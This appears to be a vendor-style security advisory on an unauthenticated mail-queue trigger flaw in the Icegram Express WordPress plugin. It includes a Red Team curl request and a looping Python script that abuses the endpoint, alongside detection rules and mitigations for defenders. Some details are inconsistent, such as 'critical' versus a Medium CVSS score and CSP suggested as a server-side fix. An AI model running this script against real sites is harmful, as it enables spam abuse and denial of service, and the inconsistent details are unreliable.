CVE-2025-12349

Executive Summary

CVE-2025-12349 is a critical authorization bypass vulnerability in the Icegram Express - Email Subscribers, Newsletters and Marketing Automation Plugin for WordPress. This flaw, present in versions up to and including 5.9.10, allows unauthenticated attackers to trigger the trigger_mailing_queue_sending function without proper permission checks. The vulnerability enables forced immediate email sending, bypass of scheduled mailings, increased server load, and manipulation of plugin state variables (e.g., last-cron-hit). This can lead to abuse of the email sending mechanism for spam campaigns or cause a Denial-of-Service (DoS) effect on the WordPress server.

As a WordPress plugin vulnerability, this issue is specific to the WordPress ecosystem and does not involve Apache or Nginx server software. The lack of a patch or official advisory from the vendor (Icegram) increases the risk for all sites running the affected plugin.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a WordPress plugin vulnerability distributed via the WordPress plugin repository and third-party marketplaces. The supply chain risk is limited to the plugin's update mechanism; however, since no patch is available, users must manually disable or remove the plugin.

CVSS Breakdown & Threat Level

• CVSS Score: 5.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: None
• Integrity Impact: Low
• Availability Impact: Low

The medium severity rating reflects the lack of direct data theft but highlights the potential for abuse of email sending capabilities and server resource exhaustion.

Deep Dive & Mechanics

The vulnerability resides in the trigger_mailing_queue_sending function within the Icegram Express plugin. This function is intended to be called by WordPress cron jobs to process the email queue. However, it is exposed via an AJAX action or direct URL endpoint without proper capability checks.

Root Cause: The plugin fails to verify that the requesting user has the necessary permissions (e.g., manage_options or edit_posts) before executing the function. This allows any unauthenticated visitor to invoke the function.

Attack Flow:

1. An attacker sends a crafted HTTP request to the vulnerable endpoint (e.g., /wp-admin/admin-ajax.php?action=trigger_mailing_queue_sending).
2. The plugin executes the function, which processes the email queue immediately.
3. The attacker can repeatedly call this endpoint to:
   • Force immediate sending of all queued emails, bypassing scheduled times.
   • Overload the mail server by sending large volumes of emails.
   • Manipulate the last-cron-hit timestamp, disrupting legitimate cron scheduling.
   • Cause high CPU and memory usage on the WordPress server, leading to DoS.

Impact:

• Spam Abuse: Attackers can use the site's email server to send unsolicited emails, damaging the site's reputation.
• Resource Exhaustion: Repeated calls can consume server resources, affecting other services.
• Cron Disruption: Legitimate scheduled tasks may be skipped or delayed.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is the current state. The fix would require adding a capability check before executing the function.

Vulnerable Code (in email-subscribers.php or similar):

add_action('wp_ajax_trigger_mailing_queue_sending', 'trigger_mailing_queue_sending');
add_action('wp_ajax_nopriv_trigger_mailing_queue_sending', 'trigger_mailing_queue_sending');

function trigger_mailing_queue_sending() {
    // Process email queue without permission check
    // ...
}

Patched Code (hypothetical):

add_action('wp_ajax_trigger_mailing_queue_sending', 'trigger_mailing_queue_sending');
// Remove the nopriv action to prevent unauthenticated access

function trigger_mailing_queue_sending() {
    // Add capability check
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized', 403);
    }
    // Process email queue
    // ...
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress site with Icegram Express plugin version <= 5.9.10 installed and activated.
• The plugin must have emails in the queue (e.g., from a newsletter campaign).

Exploitation Steps:

1. Identify the vulnerable endpoint. The default is:

   http://target/wp-admin/admin-ajax.php?action=trigger_mailing_queue_sending
   

2. Send a GET or POST request to this endpoint without authentication:

   curl -X POST "http://target/wp-admin/admin-ajax.php" \
        -d "action=trigger_mailing_queue_sending"
   

3. Observe immediate email sending and server load increase.
4. Repeat the request multiple times to amplify the effect.

Automation Script (Python):

import requests
import time

target = "http://target/wp-admin/admin-ajax.php"
payload = {"action": "trigger_mailing_queue_sending"}

while True:
    try:
        r = requests.post(target, data=payload)
        print(f"Triggered at {time.ctime()}: {r.status_code}")
    except Exception as e:
        print(f"Error: {e}")
    time.sleep(1)  # Adjust frequency as needed

Blue Team

Detection:

• Monitor for repeated requests to /wp-admin/admin-ajax.php with action=trigger_mailing_queue_sending.
• Look for spikes in email sending volume or server CPU usage.
• Check for unauthorized changes to the last-cron-hit option in the database.

Mitigation:

• Immediately disable the Icegram Express plugin if no patch is available.
• Implement a Web Application Firewall (WAF) rule to block requests to the vulnerable endpoint from unauthenticated users.
• Restrict access to admin-ajax.php using IP whitelisting or .htaccess rules.

WAF Rule (ModSecurity):

SecRule REQUEST_URI "/wp-admin/admin-ajax.php" \
    "chain,id:1001,deny,status:403,msg:'Icegram Express Exploit Attempt'"
SecRule ARGS:action "^trigger_mailing_queue_sending$"

Indicators of Compromise (IOCs)

• Network:
  • Repeated HTTP requests to /wp-admin/admin-ajax.php with action=trigger_mailing_queue_sending.
  • High volume of outbound SMTP traffic from the WordPress server.
• Host:
  • High CPU and memory usage by the web server process.
  • Unusual entries in the WordPress cron log (e.g., last-cron-hit timestamp changes).
• Database:
  • Modified wp_options table entries for ig_es_last_cron_hit or similar.
• Logs:
  • Web server access logs showing multiple requests to the vulnerable endpoint from the same IP.

Detection Engineering

YARA Rule

rule Icegram_Express_Exploit {
    meta:
        description = "Detects exploitation attempts of CVE-2025-12349 in Icegram Express plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-12349"
    strings:
        $ajax_action = "trigger_mailing_queue_sending"
        $admin_ajax = "/wp-admin/admin-ajax.php"
    condition:
        $ajax_action and $admin_ajax
}

Sigma Rule

title: Icegram Express Authorization Bypass Exploit
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects unauthenticated requests to trigger_mailing_queue_sending in Icegram Express plugin
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-12349
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        c-uri: '/wp-admin/admin-ajax.php'
        cs-uri-query: 'action=trigger_mailing_queue_sending'
    condition: selection
falsepositives:
    - Legitimate admin actions (if patched)
level: high

Suricata Rule

alert http any any -> any any (
    msg:"CVE-2025-12349 Icegram Express Authorization Bypass";
    flow:to_server;
    content:"/wp-admin/admin-ajax.php";
    http_uri;
    content:"action=trigger_mailing_queue_sending";
    http_client_body;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
    reference:cve,2025-12349;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the Plugin: Deactivate and uninstall the Icegram Express plugin until a patch is released.
2. Block Endpoint: Add a rule to your web server or WAF to block unauthenticated access to the vulnerable AJAX action.
3. Monitor Logs: Review web server and email logs for signs of exploitation.

Long-Term Fix:

• Await an official patch from Icegram. Once available, update to the patched version immediately.
• Implement a Content Security Policy (CSP) to restrict AJAX calls.
• Regularly audit WordPress plugins for known vulnerabilities.

Workaround (if plugin must remain active):

• Add a custom capability check by modifying the plugin code (not recommended for production):

  add_action('wp_ajax_trigger_mailing_queue_sending', 'trigger_mailing_queue_sending');
  // Remove the nopriv action
  function trigger_mailing_queue_sending() {
      if (!current_user_can('manage_options')) {
          wp_die('Unauthorized', 403);
      }
      // Original function code
  }
  

Valters IT
Securing Digital Frontiers